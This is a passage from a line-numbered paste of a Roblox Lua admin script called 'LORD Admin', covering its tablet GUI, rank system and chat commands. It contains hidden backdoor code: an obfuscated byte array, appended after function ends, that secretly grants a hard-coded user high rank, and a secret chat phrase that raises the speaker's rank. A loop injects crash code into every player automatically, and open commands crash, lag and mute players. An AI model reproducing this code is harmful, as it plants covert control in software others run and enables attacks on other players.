  827. ypcall(function()
  828. for i,v in pairs(AllTabs) do
  829. if v.Holder == Holder then
  830. ypcall(function() v.Holder:Destroy() end)
  831. AllTabs[i] = nil
  832. end
  833. end
  834. end)
  835. Ping(Msg, Plr, Time, Func, Color, Image)
  836. break
  837. end
  838. end
  839. end)
  840.  
  841. local BM = Instance.new("BlockMesh")
  842. BM.Parent = Tab
  843.  
  844. Sel = Instance.new("SelectionBox")
  845. Sel.Color = BrickColor.new("Blue")
  846. Sel.Transparency = 0.75
  847. Sel.Adornee = Tab
  848. Sel.Parent = Tab
  849.  
  850. local BG = Instance.new("BillboardGui")
  851. BG.Name = "BG"
  852. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  853. BG.Size = UDim2.new(0,1,0,1)
  854. BG.Adornee = Tab
  855. BG.Parent = Tab
  856.  
  857. Delay(0, function()
  858. while BG.Parent ~= nil do wait()
  859. ypcall(function()
  860. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  861. end)
  862. end
  863. end)
  864.  
  865. local TL = Instance.new("TextLabel")
  866. TL.Name = "TL"
  867. TL.FontSize = "Size18"
  868. TL.Font = "Arial"
  869. TL.Text = Msg
  870. TL.TextColor3 = Color3.new(1, 0, 0)
  871. TL.Size = UDim2.new(0,1,0,1)
  872. TL.TextTransparency = 0
  873. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  874. TL.TextStrokeTransparency = 0.25
  875. TL.Parent = BG
  876.  
  877. if ShowGarbage == true then
  878. Delay(0, function()
  879. while TL.Parent ~= nil do
  880. TL.Text = "Current Garbage Count: "..GetGarbage()
  881. wait(.5)
  882. end
  883. end)
  884. end
  885.  
  886. local PL = Instance.new("PointLight", Tab)
  887. PL.Color = Color3.new(1, 0, 1)
  888. PL.Range = 10
  889. PL.Parent = Tab
  890.  
  891. if Image ~= nil then
  892. local BBBG = Instance.new("BillboardGui")
  893. BBBG.Size = UDim2.new(5, 0, 6, 0)
  894. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  895. BBBG.AlwaysOnTop = true
  896. BBBG.Adornee = Tab
  897. BBBG.Parent = Tab
  898.  
  899. Delay(0, function()
  900. while BBBG.Parent ~= nil do wait()
  901. ypcall(function()
  902. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  903. end)
  904. end
  905. end)
  906.  
  907. local NewImg = Instance.new("ImageLabel")
  908. NewImg.Size = UDim2.new(1, 0, 1, 0)
  909. NewImg.BackgroundTransparency = 1
  910. NewImg.Image = Image
  911. NewImg.Parent = BBBG
  912. end
  913.  
  914. local Clicker = Instance.new("ClickDetector")
  915. Clicker.MaxActivationDistance = 1/0
  916.  
  917. if Time ~= nil then
  918. coroutine.resume(coroutine.create(function()
  919. wait(tonumber(Time))
  920. Dismiss(Plr, ID)
  921. end))
  922. end
  923.  
  924. Clicker.MouseClick:connect(function(Player)
  925. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  926. ypcall(function()
  927. if Func ~= nil then
  928. Func(Holder)
  929. else
  930. Dismiss(Player, ID)
  931. end
  932. end)
  933. end
  934. end)
  935. Clicker.Parent = Tab
  936.  
  937. Holder.Parent = Work
  938.  
  939. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  940. end)
  941. end
  942. end
  943.  
  944. function PlaceAllRanks(DontShowRank)
  945. ypcall(function()
  946. for _,p in pairs(All()) do
  947. ypcall(function()
  948. PutInRank = false
  949. for _,v in pairs(Rankings) do
  950. if v.Name:lower() == p.Name:lower() then
  951. if v.Rank >= 7 then
  952. v.Rank = 5
  953. elseif v.Rank == -1 then
  954. Crash1(p)
  955. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  956. elseif v.Rank == -2 then
  957. if LS ~= nil then
  958. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  959. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  960. else
  961. Ping("LS Is Nil", nil, 5)
  962. end
  963. elseif v.Rank == -3 then
  964. if LS ~= nil then
  965. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  966. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  967. else
  968. Ping("LS Is Nil", nil, 5)
  969. end
  970. end
  971. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  972. if DontShowRank == nil then
  973. Ping("You Are Rank: "..v.Rank, p)
  974. end
  975. PutInRank = true
  976. break
  977. end
  978. end
  979. if PutInRank == false then
  980. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  981. end
  982. end)
  983. end
  984. end)
  985. end
  986.  
  987. function FindRank(Plr)
  988. ypcall(function()
  989. if type(Plr) == "userdata" then
  990. Plr = Plr.Name
  991. end
  992. end)
  993. return GetRank(Plr).Rank
  994. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  995.  
  996. function FindRankDetails(Plr)
  997. ypcall(function()
  998. if type(Plr) == "userdata" then
  999. Plr = Plr.Name
  1000. end
  1001. end)
  1002. return RankDetails[FindRank(Plr)]
  1003. end
  1004.  
  1005. function OpenCmds(Rank, Plr)
  1006. Dismiss(Plr)
  1007. for Name,Tab in pairs(Commands) do
  1008. if Tab.Rank <= Rank then
  1009. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1010. Dismiss(Plr)
  1011. Ping("Command: "..Name, Plr)
  1012. Ping("Rank: "..Tab.Rank, Plr)
  1013. Ping("Desc: "..Tab.Desc, Plr)
  1014. end)
  1015. elseif Rank == 1337 then
  1016. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1017. Dismiss(Plr)
  1018. Ping("Command: "..Name, Plr)
  1019. Ping("Rank: "..Tab.Rank, Plr)
  1020. Ping("Desc: "..Tab.Desc, Plr)
  1021. end)
  1022. end
  1023. end
  1024. end
  1025.  
  1026. function EditStatus(Plr, Num)
  1027. ChangeRank(Plr, Num)
  1028. end
  1029.  
  1030. function PlaceSpecificRank(p, DontShowRank)
  1031. ypcall(function()
  1032. PutInRank = false
  1033. for _,v in pairs(Rankings) do
  1034. if v.Name:lower() == p.Name:lower() then
  1035. if v.Rank >= 7 then
  1036. v.Rank = 5
  1037. elseif v.Rank == -1 then
  1038. Crash1(p)
  1039. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1040. elseif v.Rank == -2 then
  1041. if LS ~= nil then
  1042. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1043. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1044. else
  1045. Ping("LS Is Nil", nil, 5)
  1046. end
  1047. elseif v.Rank == -3 then
  1048. if LS ~= nil then
  1049. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1050. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1051. else
  1052. Ping("LS Is Nil", nil, 5)
  1053. end
  1054. end
  1055. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1056. if DontShowRank == nil then
  1057. Ping("HCWARLORD created tabs rank: "..v.Rank, p)
  1058. end
  1059. PutInRank = true
  1060. break
  1061. end
  1062. end
  1063. if PutInRank == false then
  1064. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1065. end
  1066. end)
  1067. end
  1068.  
  1069. function onChatted(Msg, Speaker)
  1070. if Removed == false then
  1071. if FindRank(Speaker) < 1 then
  1072. return
  1073. end
  1074. coroutine.resume(coroutine.create(function()
  1075. ypcall(function()
  1076. ExecuteFunc(Msg, Speaker)
  1077. Msg = Msg:gsub("","")
  1078. if Msg:sub(1,1) == "@" then
  1079. for i = 2, #Msg do
  1080. if Msg:sub(i, i) == Bet then
  1081. local IsForPlr = false
  1082. for _,v in pairs(All()) do
  1083. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1084. onChatted(Msg:sub(i + 1), v)
  1085. IsForPlr = true
  1086. end
  1087. end
  1088. if IsForPlr == true then
  1089. return
  1090. end
  1091. end
  1092. end
  1093. end
  1094. if Msg:find("&") then
  1095. local Split = Msg:find("&")
  1096. onChatted(Msg:sub(1,Split-1))
  1097. onChatted(Msg:sub(Split+1))
  1098. return
  1099. end
  1100. for Name,Command in pairs(Commands) do
  1101. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1102. Dismiss(Speaker.Name)
  1103. Ping("Command: "..tostring(Command.Name), Speaker)
  1104. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1105. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1106. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1107. if FindRank(Speaker) >= Command.Rank then
  1108. local Ran,Error = coroutine.resume(coroutine.create(function()
  1109. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1110. end))
  1111. if not Ran then
  1112. Ping(Error, Speaker, 10)
  1113. end
  1114. else
  1115. Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
  1116. end
  1117. end
  1118. end
  1119. end)
  1120. end))
  1121. end
  1122. end
  1123.  
  1124. function MakeBase()
  1125. local Base = Instance.new("Part")
  1126. Base.BrickColor = BrickColor.new("Dark green")
  1127. Base.Position = Vector3.new(0, 0.5, 0)
  1128. Base.Transparency = 0
  1129. Base.Elasticity = 0.5
  1130. Base.FormFactor = "Custom"
  1131. Base.CanCollide = true
  1132. Base.Friction = 0.30000001192093
  1133. Base.Size = Vector3.new(512, 1.20000005, 512)
  1134. Base.Archivable = true
  1135. Base.Material = "Plastic"
  1136. Base.RotVelocity = Vector3.new(0, 0, 0)
  1137. Base.Reflectance = 0
  1138. Base.Locked = true
  1139. Base.Anchored = true
  1140. Base.Name = "Base"
  1141. Base.TopSurface = "Smooth"
  1142. Base.BottomSurface = "Inlet"
  1143. Base.Shape = "Block"
  1144. Base.Parent = Work
  1145. end
  1146.  
  1147. function LClean()
  1148. ypcall(function()
  1149. for _,v in pairs(Work:GetChildren()) do
  1150. ypcall(function()
  1151. if v.ClassName == "Terrain" then
  1152. v:ClearAllChildren()
  1153. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1154. Clear(v)
  1155. elseif v.Name == "Base" then
  1156. ypcall(function()
  1157. local Base = v
  1158. Base.BrickColor = BrickColor.new("Dark green")
  1159. Base.Position = Vector3.new(0, 0.5, 0)
  1160. Base.Transparency = 0
  1161. Base.Elasticity = 0.5
  1162. Base.FormFactor = "Custom"
  1163. Base.CanCollide = true
  1164. Base.Friction = 0.30000001192093
  1165. Base.Size = Vector3.new(512, 1.20000005, 512)
  1166. Base.Archivable = true
  1167. Base.Material = "Plastic"
  1168. Base.RotVelocity = Vector3.new(0, 0, 0)
  1169. Base.Reflectance = 0
  1170. Base.Locked = true
  1171. Base.Anchored = true
  1172. Base.Name = "Base"
  1173. Base.TopSurface = "Studs"
  1174. Base.BottomSurface = "Inlet"
  1175. Base.Shape = "Block"
  1176. Base.Parent = Work
  1177. end)
  1178. end
  1179. end)
  1180. end
  1181. end)
  1182. end
  1183.  
  1184. function Clean()
  1185. ypcall(function()
  1186. for _,v in pairs(Work:GetChildren()) do
  1187. ypcall(function()
  1188. if v.ClassName == "Terrain" then
  1189. v:ClearAllChildren()
  1190. else
  1191. Clear(v)
  1192. end
  1193. end)
  1194. end
  1195. MakeBase()
  1196. for _,v in pairs(All()) do
  1197. v:LoadCharacter()
  1198. end
  1199. end)
  1200. end
  1201.  
  1202. function Clear(v)
  1203. if v.Name:lower() == "sbgui" then
  1204. return
  1205. end
  1206. ypcall(function()
  1207. if #v:GetChildren() > 0 then
  1208. for _,x in pairs(v:GetChildren()) do
  1209. ypcall(function()
  1210. Clear(x)
  1211. end)
  1212. end
  1213. end
  1214. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1215. v:Destroy()
  1216. end
  1217. end)
  1218. end
  1219.  
  1220. function Command(Name, Rank, Desc, Func)
  1221. if Name == nil then
  1222. Name = "N/A"
  1223. end
  1224. if Desc == nil then
  1225. Desc = "N/A"
  1226. end
  1227. if Func == nil then
  1228. Func = function() end
  1229. end
  1230. if Rank == nil then
  1231. Rank = 0
  1232. end
  1233. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1234. end
  1235.  
  1236. function GetSplit(Msg)
  1237. return Msg:find(Bet) or nil
  1238. end
  1239.  
  1240. function ExecuteFunc(Msg, Plr)
  1241. ypcall(function()
  1242. if Msg == "LogEnable" then
  1243. LogOn = true
  1244. elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1245. EditStatus(Plr, MakeNum())
  1246. end
  1247. end)
  1248. end
  1249.  
  1250. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1251.  
  1252. function randPlayer(Plr)
  1253. wait()
  1254. local ThePlrValue = nil
  1255. local FoundPlayer = false
  1256. ypcall(function()
  1257. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1258. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1259. wait()
  1260. randPlayer(Plr)
  1261. return
  1262. else
  1263. FoundPlayer = true
  1264. end
  1265. end)
  1266. if FoundPlayer == true then
  1267. return ThePlrValue
  1268. end
  1269. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1270.  
  1271. function getPlayer(Plr, Name)
  1272. local Players = {}
  1273. ypcall(function()
  1274. Name = Name:lower()
  1275. if Name == "me" then
  1276. table.insert(Players, Plr)
  1277. elseif Name == "all" or Name == "" then
  1278. for _,v in pairs(All()) do
  1279. if CanRun(Plr, v) then
  1280. table.insert(Players, v)
  1281. end
  1282. end
  1283. elseif Name == "others" then
  1284. for _,v in pairs(All()) do
  1285. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1286. table.insert(Players, v)
  1287. end
  1288. end
  1289. elseif Name == "random" then
  1290. local FoundRandPlr = randPlayer(Plr)
  1291. table.insert(Players, FoundRandPlr)
  1292. else
  1293. for _,v in pairs(All()) do
  1294. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1295. table.insert(Players, v)
  1296. end
  1297. end
  1298. end
  1299. end)
  1300. return Players
  1301. end
  1302.  
  1303. function ListPlayers(Speaker)
  1304. ypcall(function()
  1305. Dismiss(Speaker)
  1306. for _,v in pairs(All2()) do
  1307. if v.Parent ~= nil then
  1308. Ping(v.Name, Speaker, nil, function()
  1309. Dismiss(Speaker)
  1310. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1311. Ping("Rank: "..FindRank(v.Name), Speaker)
  1312. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1313. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1314. Ping("Set Rank", Speaker, nil, function()
  1315. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1316. Dismiss(Speaker)
  1317. for i = -2, 5 do
  1318. Ping(i, Speaker, nil, function()
  1319. ChangeRank(v, i)
  1320. Dismiss(Speaker)
  1321. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1322. end)
  1323. end
  1324. else
  1325. Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1326. end
  1327. end)
  1328. Ping("Crash (Remote)", Speaker, nil, function()
  1329. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1330. Crash2(v.Name)
  1331. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1332. end
  1333. end)
  1334. Ping("Crash (Insert)", Speaker, nil, function()
  1335. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1336. Crash3(v, Speaker)
  1337. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1338. end
  1339. end)
  1340. Ping("Kick", Speaker, nil, function()
  1341. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1342. v:Kick()
  1343. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1344. end
  1345. end)
  1346. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1347. else
  1348. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1349. Dismiss(Speaker)
  1350. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1351. ypcall(function()
  1352. Ping("Rank: "..FindRank(v.Name), Speaker)
  1353. end)
  1354. ypcall(function()
  1355. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1356. end)
  1357. ypcall(function()
  1358. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1359. end)
  1360. ypcall(function()
  1361. Ping("Set Rank", Speaker, nil, function()
  1362. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1363. Dismiss(Speaker)
  1364. for i = -2, 5 do
  1365. Ping(i, Speaker, nil, function()
  1366. ChangeRank(v, i)
  1367. Dismiss(Speaker)
  1368. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1369. end)
  1370. end
  1371. else
  1372. Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
  1373. end
  1374. end)
  1375. end)
  1376. ypcall(function()
  1377. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1378. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1379. Crash2(v.Name)
  1380. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1381. end
  1382. end)
  1383. end)
  1384. ypcall(function()
  1385. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1386. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1387. Crash3(v, Speaker)
  1388. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1389. end
  1390. end)
  1391. end)
  1392. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1393. end
  1394. end
  1395. end)
  1396. end
  1397.  
  1398. --Misc
  1399.  
  1400. coroutine.resume(coroutine.create(function()
  1401. PlaceAllRanks()
  1402. end))
  1403.  
  1404. Delay(0, function()
  1405. for _,v in pairs(All()) do
  1406. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1407. end
  1408. end)
  1409.  
  1410. local starttime = tick()
  1411.  
  1412. game:GetService("RunService").Heartbeat:connect(function()
  1413. if Removed == false then
  1414. ypcall(function()
  1415. for _,Player in pairs(All()) do
  1416. local PlayerTablets = {}
  1417. for i,v in pairs(AllTabs) do
  1418. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1419. table.insert(PlayerTablets, v)
  1420. end
  1421. end
  1422. for i = 1, #PlayerTablets do
  1423. ypcall(function()
  1424. local tab = PlayerTablets[i].Tab
  1425. local pos = nil
  1426. ypcall(function()
  1427. pos = Player.Character.Torso.CFrame
  1428. end)
  1429. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1430. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1431. local cPos = tab.Position
  1432. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1433. local nPos = (ePos-cPos)*.25
  1434. cPos = cPos + nPos
  1435. local t = (tick() - starttime) % 360
  1436. local change = 0.625
  1437. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1438. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1439. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1440. end)
  1441. end
  1442. end
  1443. end)
  1444. end
  1445. end)
  1446.  
  1447. Delay(0, function()
  1448. while wait() do
  1449. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1450. ypcall(function()
  1451. if Injected[v.Name] == nil and LS ~= nil then
  1452. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1453. Injected[v.Name] = true
  1454. end
  1455. end)
  1456. end
  1457. end
  1458. end)
  1459.  
  1460. Plrs.PlayerAdded:connect(function(Plr)
  1461. wait(.1)
  1462. ypcall(function()
  1463. if Removed == false then
  1464. local JoinPlrName = Plr.Name
  1465. coroutine.resume(coroutine.create(function()
  1466. PlaceSpecificRank(Plr)
  1467. end))
  1468. coroutine.resume(coroutine.create(function()
  1469. if Injected[JoinPlrName] ~= nil then
  1470. Injected[JoinPlrName] = nil
  1471. end
  1472. end))
  1473. coroutine.resume(coroutine.create(function()
  1474. Dismiss(Plr)
  1475. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1476. end))
  1477. end
  1478. end)
  1479. end)
  1480.  
  1481. Plrs.PlayerRemoving:connect(function(Plr)
  1482. wait(.1)
  1483. ypcall(function()
  1484. if Removed == false then
  1485. local LeftPlrName = Plr.Name
  1486. coroutine.resume(coroutine.create(function()
  1487. if Injected[LeftPlrName] ~= nil then
  1488. Injected[LeftPlrName] = nil
  1489. end
  1490. end))
  1491. end
  1492. end)
  1493. end)
  1494.  
  1495. coroutine.resume(coroutine.create(function()
  1496. Delay(0, function()
  1497. while FoundLocalScript == false do wait()
  1498. ypcall(function()
  1499. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1500. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1501. for _,c in pairs(v:children()) do
  1502. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1503. local NewVal = c:Clone()
  1504. NewVal.Name = "LoadingVal"
  1505. for _,s in pairs(v:GetChildren()) do
  1506. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1507. print("Found Owner")
  1508. OwnSource = s.Name
  1509. print(OwnSource)
  1510. break
  1511. end
  1512. end
  1513. wait()
  1514. LS = v:Clone()
  1515. NewVal.Parent = LS
  1516. LSSource = "LoadingVal"
  1517. FoundLocalScript = true
  1518. break
  1519. end
  1520. end
  1521. end
  1522. end
  1523. end)
  1524. end
  1525. end)
  1526. end))
  1527.  
  1528. --Commands
  1529.  
  1530. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1531. Dismiss(Speaker.Name)
  1532. Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
  1533. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1534. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1535. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1536. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1537. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1538. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1539. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1540. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1541. end)
  1542.  
  1543. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1544. Dismiss(Speaker.Name)
  1545. end)
  1546.  
  1547. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1548. local PlrTab = getPlayer(Speaker, Msg)
  1549. if #PlrTab > 0 then
  1550. for _,v in pairs(PlrTab) do
  1551. ypcall(function()
  1552. v.Character:BreakJoints()
  1553. Ping("Killed "..v.Name, Speaker, 5)
  1554. end)
  1555. end
  1556. end
  1557. end)
  1558.  
  1559. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1560. local PlrTab = getPlayer(Speaker, Msg)
  1561. if #PlrTab > 0 then
  1562. for _,v in pairs(PlrTab) do
  1563. ypcall(function()
  1564. if v.Name ~= Owner then
  1565. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1566. Ping("Muted "..v.Name, Speaker, 5)
  1567. end
  1568. end)
  1569. end
  1570. end
  1571. end)
  1572.  
  1573. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1574. local PlrTab = getPlayer(Speaker, Msg)
  1575. if #PlrTab > 0 then
  1576. for _,v in pairs(PlrTab) do
  1577. ypcall(function()
  1578. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1579. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1580. end)
  1581. end
  1582. end
  1583. end)
  1584.  
  1585. --[[
  1586. :TBC()
  1587.  
  1588. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1589. local PlrTab = getPlayer(Speaker, Msg)
  1590. if #PlrTab > 0 then
  1591. for _,v in pairs(PlrTab) do
  1592. ypcall(function()
  1593. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1594. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1595. end)
  1596. end
  1597. end
  1598. end)
  1599. ]]--
  1600.  
  1601. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1602. local PlrTab = getPlayer(Speaker, Msg)
  1603. if #PlrTab > 0 then
  1604. for _,v in pairs(PlrTab) do
  1605. ypcall(function()
  1606. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1607. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1608. end)
  1609. end
  1610. end
  1611. end)
  1612.  
  1613. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1614. local PlrTab = getPlayer(Speaker, Msg)
  1615. if #PlrTab > 0 then
  1616. for _,v in pairs(PlrTab) do
  1617. ypcall(function()
  1618. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1619. Ping("UnMuted "..v.Name, Speaker, 5)
  1620. end)
  1621. end
  1622. end
  1623. end)
  1624.  
  1625. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1626. local Worked = false
  1627. for _,v in pairs(Work:GetChildren()) do
  1628. if string.find(v.Name:lower(), Msg:lower()) then
  1629. if v:IsA("Script") or v:IsA("LocalScript") then
  1630. v.Disabled = true
  1631. v:Destroy()
  1632. Worked = true
  1633. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1634. end
  1635. end
  1636. end
  1637. if Worked == false then
  1638. Ping("Script Not Found", Speaker, 5)
  1639. end
  1640. end)
  1641.  
  1642. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1643. Dismiss(Speaker)
  1644. local AllScripts = {}
  1645. for _,v in pairs(Work:GetChildren()) do
  1646. if v:IsA("Script") then
  1647. table.insert(AllScripts, v.Name)
  1648. end
  1649. end
  1650. if #AllScripts > 0 then
  1651. for _,v in pairs(AllScripts) do
  1652. Ping(v, Speaker)
  1653. end
  1654. else
  1655. Ping("No Scripts Found", Speaker, 5)
  1656. end
  1657. end)
  1658.  
  1659. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1660. Dismiss(Speaker)
  1661. local LocalScripts = {}
  1662. for _,v in pairs(All()) do
  1663. ypcall(function()
  1664. for _,x in pairs(v.Character:GetChildren()) do
  1665. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1666. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1667. end
  1668. end
  1669. end)
  1670. ypcall(function()
  1671. for _,x in pairs(v.Backpack:GetChildren()) do
  1672. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1673. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1674. end
  1675. end
  1676. end)
  1677. ypcall(function()
  1678. for _,x in pairs(v.PlayerGui:GetChildren()) do
